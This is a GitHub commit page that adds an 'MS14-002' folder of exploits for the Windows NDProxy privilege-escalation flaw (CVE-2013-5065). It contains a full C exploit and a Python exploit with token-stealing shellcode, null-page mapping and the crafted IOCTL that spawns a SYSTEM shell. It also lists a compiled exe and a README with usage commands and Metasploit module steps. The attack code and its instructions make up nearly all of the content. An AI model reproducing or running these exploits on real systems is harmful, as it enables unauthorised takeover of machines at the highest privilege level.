Skip to content

Commit 86f7f14

Browse files
GitmanincGitmaninc
committed
MS14-002
1 parent 394b4cc commit 86f7f14

File tree

5 files changed

+332
-0
lines changed

5 files changed

+332
-0
lines changed

Diff for: ‎MS14-002/CVE-2013-5065.c

+216
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,216 @@
1+
/*
2+
################################################################
3+
# Exploit Title: Windows NDProxy Privilege Escalation (MS14-002)
4+
# Date: 2015-08-03
5+
# Exploit Author: Tomislav Paskalev
6+
# Vulnerable Software:
7+
# Windows XP SP3 x86
8+
# Windows XP SP2 x86-64
9+
# Windows 2003 SP2 x86
10+
# Windows 2003 SP2 x86-64
11+
# Windows 2003 SP2 IA-64
12+
# Supported vulnerable software:
13+
# Windows XP SP3 x86
14+
# Windows 2003 SP2 x86
15+
# Tested on:
16+
# Windows XP SP3 x86 EN
17+
# Windows 2003 SP2 x86 EN
18+
# CVE ID: 2013-5065
19+
################################################################
20+
# Vulnerability description:
21+
# NDPROXY is a system-provided driver that interfaces WAN
22+
# miniport drivers, call managers, and miniport call managers
23+
# to the Telephony Application Programming Interfaces (TAPI)
24+
# services.
25+
# The vulnerability is caused when the NDProxy.sys kernel
26+
# component fails to properly validate input.
27+
# An attacker who successfully exploited this vulnerability
28+
# could run arbitrary code in kernel mode (i.e. with SYSTEM
29+
# privileges).
30+
################################################################
31+
# Exploit notes:
32+
# Privileged shell execution:
33+
# - the SYSTEM shell will spawn within the existing shell
34+
# (i.e. exploit usable via a remote shell)
35+
# Exploit compiling:
36+
# - # i586-mingw32msvc-gcc MS14-002.c -o MS14-002.exe
37+
# Exploit prerequisites:
38+
# - low privilege access to the target (remote shell or RDP)
39+
# - target not patched (KB2914368 not installed)
40+
# - service "Routing and Remote Access" running on the target
41+
# - "Power User" user group can start and stop services
42+
# - > sc query remoteaccess
43+
# - > sc start remoteaccess
44+
################################################################
45+
# Thanks to:
46+
# Andy (C PoC - Win XP SP3)
47+
# ryujin (Python PoC - Win XP SP3)
48+
################################################################
49+
# References:
50+
# http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5065
51+
# https://technet.microsoft.com/en-us/library/security/ms14-002.aspx
52+
# https://penturalabs.wordpress.com/2013/12/11/ndproxy-privilege-escalation-cve-2013-5065/
53+
# https://www.exploit-db.com/exploits/30014/
54+
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674%28v=vs.85%29.aspx
55+
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858%28v=vs.85%29.aspx
56+
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381%28v=vs.85%29.aspx
57+
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216%28v=vs.85%29.aspx
58+
################################################################
59+
*/
60+
61+
#include <windows.h>
62+
#include <stdio.h>
63+
#include <stdlib.h>
64+
65+
66+
67+
typedef struct {
68+
PVOID Unknown1;
69+
PVOID Unknown2;
70+
PVOID Base;
71+
ULONG Size;
72+
ULONG Flags;
73+
USHORT Index;
74+
USHORT NameLength;
75+
USHORT LoadCount;
76+
USHORT PathLength;
77+
CHAR ImageName[256];
78+
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
79+
80+
81+
typedef struct {
82+
ULONG Count;
83+
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
84+
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
85+
86+
87+
typedef enum _SYSTEM_INFORMATION_CLASS {
88+
SystemModuleInformation = 11,
89+
SystemHandleInformation = 16
90+
} SYSTEM_INFORMATION_CLASS;
91+
92+
93+
typedef DWORD NTSTATUS;
94+
NTSTATUS (WINAPI *_NtQuerySystemInformation) (SYSTEM_INFORMATION_CLASS SystemInformationClass,
95+
PVOID SystemInformation,
96+
ULONG SystemInformationLength,
97+
PULONG ReturnLength);
98+
99+
100+
101+
static VOID InitFirstPage (void)
102+
{
103+
PVOID BaseAddress;
104+
ULONG RegionSize;
105+
NTSTATUS ReturnCode;
106+
FARPROC NtAllocateVirtualMemory;
107+
108+
NtAllocateVirtualMemory = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "NtAllocateVirtualMemory");
109+
110+
fprintf (stderr, "[+] NtAllocateVirtualMemory@%p\n", NtAllocateVirtualMemory);
111+
RegionSize = 0xf000;
112+
BaseAddress = (PVOID) 0x00000001;
113+
ReturnCode = NtAllocateVirtualMemory (GetCurrentProcess (),
114+
&BaseAddress,
115+
0,
116+
&RegionSize,
117+
MEM_COMMIT | MEM_RESERVE,
118+
PAGE_EXECUTE_READWRITE);
119+
if (ReturnCode != 0)
120+
{
121+
fprintf (stderr, "[-] NtAllocateVirtualMemory() failed to map first page\n");
122+
fprintf (stderr, " Error code: %#X\n", ReturnCode);
123+
fflush (stderr);
124+
ExitProcess (1);
125+
}
126+
fprintf (stderr, "[+] BaseAddress: %p, RegionSize: %#x\n", BaseAddress, RegionSize), fflush (stderr);
127+
FillMemory (BaseAddress, RegionSize, 0x41);
128+
return;
129+
}
130+
131+
132+
133+
int exploit (unsigned char *shellcode)
134+
{
135+
DWORD writtenBytes;
136+
int returnValue;
137+
138+
InitFirstPage ();
139+
140+
unsigned char *shellcodeBuffer;
141+
shellcodeBuffer = (char *) malloc (400);
142+
memset (shellcodeBuffer, (int) "xCC", 400);
143+
memcpy (shellcodeBuffer, shellcode, 112);
144+
145+
returnValue = WriteProcessMemory ((HANDLE) 0xFFFFFFFF, (LPVOID) 0x00000001, shellcodeBuffer, 0x400, &writtenBytes);
146+
if (returnValue == 0)
147+
{
148+
printf ("[-] Attempt to map memory_write failed\n");
149+
printf (" Error code: %d\n", GetLastError ());
150+
exit(1);
151+
}
152+
HANDLE ndProxyDeviceHandle = CreateFileA ("\\\\.\\NDProxy", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
153+
if (ndProxyDeviceHandle == INVALID_HANDLE_VALUE)
154+
{
155+
printf ("[-] Creating a device handle on NDProxy failed\n");
156+
printf (" Error code: %d\n", GetLastError());
157+
exit (0);
158+
}
159+
DWORD inputBuffer [0x15] = {0};
160+
DWORD returnedBytes = 0;
161+
*(inputBuffer + 5) = 0x7030125;
162+
*(inputBuffer + 7) = 0x34;
163+
DeviceIoControl (ndProxyDeviceHandle, 0x8fff23cc, inputBuffer, 0x54, inputBuffer, 0x24, &returnedBytes, 0);
164+
CloseHandle (ndProxyDeviceHandle);
165+
system ("cmd.exe /T:C0 /K cd c:\\windows\\system32");
166+
return 0;
167+
}
168+
169+
170+
171+
int main (int argc, char **argv)
172+
{
173+
if (argc != 2)
174+
{
175+
printf ("[*] Usage: %s OS_TYPE\n", argv[0]);
176+
printf (" supported OS_TYPE:\n");
177+
printf (" XP - Windows XP SP3 x86\n");
178+
printf (" 2k3 - Windows 2003 SP2 x86\n");
179+
printf ("[*] Note: the service \"Routing and Remote Access\"\n");
180+
printf (" must be running on the target machine\n");
181+
exit (0);
182+
}
183+
else
184+
{
185+
if ((strcmp (argv[1], "xp") == 0) || (strcmp (argv[1], "XP") == 0))
186+
{
187+
unsigned char shellcodeXP[] =
188+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
189+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
190+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
191+
"\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"
192+
"\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B"
193+
"\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00"
194+
"\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3";
195+
exploit (shellcodeXP);
196+
}
197+
else if ((strcmp (argv[1], "2k3") == 0) || (strcmp (argv[1], "2K3") == 0))
198+
{
199+
unsigned char shellcode2k3[] =
200+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
201+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
202+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
203+
"\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"
204+
"\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x38\x8B\xC8\x8B"
205+
"\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x83\xB8\x94\x00\x00\x00"
206+
"\x04\x75\xEC\x8B\x90\xD8\x00\x00\x00\x89\x91\xD8\x00\x00\x00\xC3";
207+
exploit (shellcode2k3);
208+
}
209+
else
210+
{
211+
printf ("[-] Invalid argument\n");
212+
printf (" Argument used: %s\n", argv[1]);
213+
exit(0);
214+
}
215+
}
216+
}

Diff for: ‎MS14-002/CVE-2013-5065.py

+80
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
# NDPROXY Local SYSTEM privilege escalation
2+
# http://www.offensive-security.com
3+
# Tested on Windows XP SP3
4+
# http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/
5+
6+
7+
# Original crash ... null pointer dereference
8+
# Access violation - code c0000005 (!!! second chance !!!)
9+
# 00000038 ?? ???
10+
11+
from ctypes import *
12+
from ctypes.wintypes import *
13+
import os, sys
14+
15+
kernel32 = windll.kernel32
16+
ntdll = windll.ntdll
17+
18+
GENERIC_READ = 0x80000000
19+
GENERIC_WRITE = 0x40000000
20+
FILE_SHARE_READ = 0x00000001
21+
FILE_SHARE_WRITE = 0x00000002
22+
NULL = 0x0
23+
OPEN_EXISTING = 0x3
24+
PROCESS_VM_WRITE = 0x0020
25+
PROCESS_VM_READ = 0x0010
26+
MEM_COMMIT = 0x00001000
27+
MEM_RESERVE = 0x00002000
28+
MEM_FREE = 0x00010000
29+
PAGE_EXECUTE_READWRITE = 0x00000040
30+
PROCESS_ALL_ACCESS = 2097151
31+
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000
32+
baseadd = c_int(0x00000001)
33+
MEMRES = (0x1000 | 0x2000)
34+
MEM_DECOMMIT = 0x4000
35+
PAGEEXE = 0x00000040
36+
null_size = c_int(0x1000)
37+
STATUS_SUCCESS = 0
38+
39+
def log(msg):
40+
print msg
41+
42+
def getLastError():
43+
"""[-] Format GetLastError"""
44+
buf = create_string_buffer(2048)
45+
if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,
46+
kernel32.GetLastError(), 0,
47+
buf, sizeof(buf), NULL):
48+
log(buf.value)
49+
else:
50+
log("[-] Unknown Error")
51+
52+
print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day"
53+
print "[*] Vulnerability found in the wild"
54+
print "[*] Coded by Offensive Security"
55+
56+
tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24)
57+
InBuf = c_char_p(tmp)
58+
59+
dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE)
60+
if dwStatus != STATUS_SUCCESS:
61+
print "[+] Something went wrong while allocating the null paged memory: %s" % dwStatus
62+
getLastError()
63+
written = c_ulong()
64+
sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3"
65+
sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh))
66+
alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written))
67+
if alloc == 0:
68+
print "[+] Something went wrong while writing our junk to the null paged memory: %s" % alloc
69+
getLastError()
70+
71+
dwRetBytes = DWORD(0)
72+
DEVICE_NAME = "\\\\.\\NDProxy"
73+
hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None)
74+
if hdev == -1:
75+
print "[-] Couldn't open the device... :("
76+
sys.exit()
77+
kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0)
78+
kernel32.CloseHandle(hdev)
79+
print "[+] Spawning SYSTEM Shell..."
80+
os.system("start /d \"C:\\windows\\system32\" cmd.exe")

Diff for: ‎MS14-002/MS14-002.exe

71.6 KB
Binary file not shown.

Diff for: ‎MS14-002/README.md

+36
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
# MS14-002
2+
3+
```
4+
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003 SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used to access an array unsafely, and the value is used to perform a call, leading to a NULL pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to work the service "Routing and Remote Access" must be running on the target system.
5+
```
6+
- The exp was from [@ev-zzo](https://github.com/dev-zzo/exploits-nt-privesc/blob/master/MS14-002/MS14-002.c) [@Tomislav Paskalev](https://www.exploit-db.com/exploits/37732/) [@ryujin](https://www.exploit-db.com/exploits/30014/)
7+
8+
Vulnerability reference:
9+
* [MS14-002](https://technet.microsoft.com/library/security/ms14-002)
10+
* [CVE-2013-5065](https://www.exploit-db.com/exploits/39446/)
11+
12+
13+
## Usage
14+
- c:\> MS14-002.exe XP
15+
- c:\> MS14-002.exe 2k3
16+
17+
![win2003](win2003.png)
18+
19+
## load the module within the msf
20+
*[msf](https://www.rapid7.com/db/modules/exploit/windows/local/ms_ndproxy)
21+
22+
```
23+
msf > use exploit/windows/local/ms_ndproxy
24+
msf exploit(ms_ndproxy) > show targets
25+
...targets...
26+
msf exploit(ms_ndproxy) > set TARGET <target-id>
27+
msf exploit(ms_ndproxy) > show options
28+
...show and set options...
29+
msf exploit(ms_ndproxy) > exploit
30+
31+
```
32+
## Links
33+
34+
*[The Kernel is calling a zero(day) pointer – CVE-2013-5065 – Ring Ring](https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Kernel-is-calling-a-zero(day)-pointer-–-CVE-2013-5065-–-Ring-Ring/)
35+
*[CVE-2013-5065: NDProxy array indexing error unpatched vulnerability](https://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/)
36+

Diff for: ‎MS14-002/win2003.png

25.3 KB
Loading

0 commit comments

Comments
 (0)